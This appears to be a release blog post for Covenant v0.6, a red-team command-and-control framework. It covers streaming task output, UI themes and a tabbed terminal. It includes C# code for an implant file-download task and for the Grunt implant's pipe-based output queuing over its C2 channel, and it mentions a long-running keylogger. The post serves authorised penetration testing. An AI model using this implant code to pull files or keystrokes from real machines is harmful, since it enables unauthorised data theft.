Covenant v0.6

Covenant Logo

Intro

Covenant v0.6 is being released today and includes a set of new features and lots of bug fixes.

This will be a short post documenting some of the major feature updates.

Streaming Output

Covenant now supports a model that allows Tasks to stream output back to the Covenant server periodically throughout execution. This enables long-running Tasks, such as a Keylogger, and Tasks that could have large amounts of output, such as a Download Task.

Before now, the Keylogger task would need to be configured to run for a pre-determined amount of time, and output would only be received once the pre-determined amount of time had passed. With streaming output, the Keylogger can be told to run indefinitely and output streams back to the server as new keys are logged.

Likewise, the Download task used to struggle with large files that tested the limits of the size of an HTTP request. With streaming output, large files can be split into many chunks, which makes it much easier to download arbitrarily large files.

To utilize the new streaming output model, Tasks can declare a Stream called OutputStream. When a Task writes data to the OutputStream, it’ll make its way back to the Covenant server as output for the Task.

For example, here’s a sample of what the new Download Task looks like:

public static class Task
{
    public static Stream OutputStream { get; set; }
    public static string Execute(string FileName)
    {
        try
        {
            using (FileStream fs = File.OpenRead(FileName))
            {
                byte[] read = new byte[1048576];
                int count;
                while ((count = fs.Read(read, 0, read.Length)) > 0)
                {
                    IEnumerable<byte> finalRead = read.Take(count).AsEnumerable();
                    int b = 0;
                    while (count % 3 != 0 && b != -1)
                    {
                        b = fs.ReadByte();
                        finalRead = finalRead.Concat(new byte[] { (byte)b });
                        count++;
                    }
                    byte[] base64 = Encoding.UTF8.GetBytes(Convert.ToBase64String(finalRead.ToArray()));
                    OutputStream.Write(base64, 0, base64.Length);
                    OutputStream.Flush();
                }
            }
            OutputStream.Close();
            return "";
        }
        catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
    }
}

Covenant sets up the OutputSteam for the Task using anonymous pipes. You can think of anonymous pipes as one-way, unnamed versions of named pipes, which you may be more familiar with. The OutputStream writes data over the anonymous pipe back to the Grunt implant, which queues messages that will be delivered as a part of the implant’s regular C2 channel, determined by the Profile and Delay values.

For example, here’s a (simplified) example of how the Grunt implant sets up the anonymous pipes and queues up tasking messages received from the OutputStream:

using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable))
{
    using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString()))
    {
        PropertyInfo streamProp = gruntTask.GetType("Task").GetProperty("OutputStream");
        streamProp.SetValue(null, pipeClient, null);
        task.Start();
        using (StreamReader reader = new StreamReader(pipeServer))
        {
            char[] read = new char[MAX_MESSAGE_SIZE];
            int count;
            string currentRead = "";
            while ((count = reader.Read(read, 0, read.Length)) > 0)
            {
                currentRead += new string(read, 0, count);
                if (currentRead.Length >= MAX_MESSAGE_SIZE)
                {
                    GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, currentRead);
                    messenger.QueueTaskingMessage(response.ToJson(), message.Name);
                    currentRead = "";
                }
            }
        }
    }
}

Tasks can choose to support the streaming model or not, so existing Tasks do not need to be altered to adapt to this model. The original model of returning output at the end of the Task still works for output that can afford to wait until the Task has completed.

Many of the Tasks that could benefit most from the streaming model have already been converted to use the new paradigm, including: Keylogger, Download, and all of the GhostPack tasks.

UI Themes

A long requested and heavily debated feature, UI themes have made their way into Covenant. Themes allow operators to completely customize the look and feel of their Covenant interface. By default, Covenant comes with the standard Classic Theme, and also supports a, questionable at best, Heathen Mode.

Theme Table

Themes are applied per operator, so every operator can use their own preference of Theme. Operators that have poor taste when it comes to UI design may choose to utilize the new Heathen Mode.

Heathen Mode

But operators are not limited to the default themes, as custom Themes can be built directly in the interface.

Creating a Theme

Now that this feature has made its way into Covenant, everyone can please stop bothering us about it. Thanks.

Tabbed Terminal View

Finally, Covenant now includes a “tabbed terminal” view.

Tabbed Terminal

The tabbed terminal view makes it easy to operate when quickly switching between multiple implants. Clicking the small terminal icon next to the entry in the Grunt table activates the Grunt into the tabbed terminal view below.

Of course, you can still always click on the hyperlinked name of a Grunt to get the typical, full-screen Grunt view you may be used to.

The tabbed terminal view is a great example of a UI feature that has been enabled by Covenant’s recent rebuild on Blazor. Blazor enables Covenant to re-use UI components, such as terminal views, that just wouldn’t have been maintainable without Blazor.

Bug Fixes

This version of Covenant came with a major focus on big fixes as well, as will the next version of Covenant. Since Covenant received a rather large overhaul in v0.5, there’s likely still some outstanding Github issues to address.

A number of bugs have been fixed for v0.6, check out the changelog for details.

Conclusion

Covenant adds a number of new features in v0.6, including: streaming output, UI themes, and a tabbed terminal view.

As always feel free to join the conversation about Covenant in the #covenant channel on the BloodHoundGang Slack, just message @cobbr_io on Twitter if you’d like an invitation.